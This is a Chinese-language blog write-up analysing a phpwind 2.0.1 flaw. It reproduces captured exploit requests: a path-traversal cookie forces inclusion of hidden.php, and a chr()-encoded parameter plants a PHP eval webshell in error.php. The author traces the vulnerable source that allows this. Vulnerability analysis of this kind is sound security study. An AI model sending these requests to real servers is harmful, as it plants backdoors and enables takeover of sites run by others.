分析phpwind2.0.1漏洞

貓貓傳給我一個phpwind2.0.1漏洞利用程序,可以直接在目錄中寫入一個木馬。怎么說呢,這個漏洞是pinkeyes發(fā)現(xiàn)的,本文旨在分析這個漏洞的思路。直到發(fā)現(xiàn)這個漏洞是怎么產(chǎn)生的,我還在冒虛汗中,同時pinkeyes 的睿智深深的打動了我,原來我才明白什么才是真正的技術(shù)含量。且聽我慢慢道來:
在程序運行時,我抓了一個包:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Chr()里的那些東西我查了一下ascii字符表,得到的是這樣的:
?>
很顯然是在error.php里寫入一行php木馬: 。
所以關(guān)鍵是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出處。這兩個東西很重要!于是我下了一個phpwind 2.0.1的程序看看,開始以為是job.php有問題。進入job.php中,只發(fā)現(xiàn)如下代碼:
elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好,在失望的同時也發(fā)現(xiàn)了$skin一定有問題,job.php文件頭有個:require_once("./global.php");
接著我們來看看global.php里面的$skin參數(shù)吧:
if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦,只要我們定義了$skinco就可以滿足$skin了!所以再找找$skinco吧,$skinco只有一處解釋,其后,并沒有做任何過濾:
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好輕松,只要存在就可以?這樣只要構(gòu)造一個cookie就完全可以實現(xiàn)。咦?$skinco我們好象哪里見過。果然,就是上面抓的包里面的:
Cookie:skinco=../../require/hidden;
這樣就更加證明我的思路是正確的,風(fēng)回路轉(zhuǎn)呀。又不得不佩服這樣精彩的手法,按照pinkeyes的思路:構(gòu)造后應(yīng)該是這樣的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
這樣也就是滿足了job.php中的
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到這里,先告一段落,我們回個頭想想。我們分析這么多就是pinkeyes要為了包含一個文件:./require/hidden.php。這就奇怪了,為什么這么pinkeyes要千方百計的來包含 ./require/hidden.php呢?直接利用不可以嗎?這個hidden.php到底是個什么樣的文件呢?恩,下面的解釋會讓你有一個滿意的答案。
我小心翼翼的打開hidden.php
!function_exists('readover') && exit('Forbidden');
$newonline="<>t$timestampt$onlineipt$fidwtt$tidwtt$groupidt$wherebbsyout$acttimet$uidt$windidt";
$newonline=str_pad($newonline,$db_olsize)."n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"t".$windid."t")){
$inselectfile='N';
$offset=strpos($onlineuser,"n",$offset-$db_olsize);$offset+=1;/*會員名不在開始需要轉(zhuǎn)換指針*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>
看到這里,所有的疑團都解開了!
1.原來文件頭多了個
!function_exists('readover') && exit('Forbidden');
這樣直接訪問是不允許的,后面的代碼也不會執(zhí)行,這樣我明白pinkeyes的苦心多走彎路來努力用include來包含這個文件
2 這個文件里有writeline()是可以寫入木馬的。$newonline正好也定義了$tidwt,所以最后的writeline()把$tidwt也寫進去了。
寫入到了d_name 所定義的set.php這個臨時文件里。本來這樣就可以寫入一個小木馬了,只要使$tidwt為編碼:就可以的。但是可能是pinkeyes考慮到set.php里的東西比較亂。所以煞費苦心的用
?>
寫入一個更簡單的木馬到error.php里!這樣才多了我們抓的第二個包:
GET /phpwind//attachment/set.php HTTP/1.1
。。。。。。。。。
后記:我感覺自己寫偵探小說還不錯,技術(shù)嘛,哎。。。。
(本文由責(zé)任編輯 pasu 整理發(fā)布)
相關(guān)文章
2019最新RDP遠程桌面漏洞官方補丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會遭到攻擊,該服務(wù)器漏洞利用方式是通過遠程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計算機,該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細,具有參考解決價值,感興趣的朋友一起看看吧2016-10-11
- 漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29
手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實現(xiàn)按照深度進行爬行。但是實際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12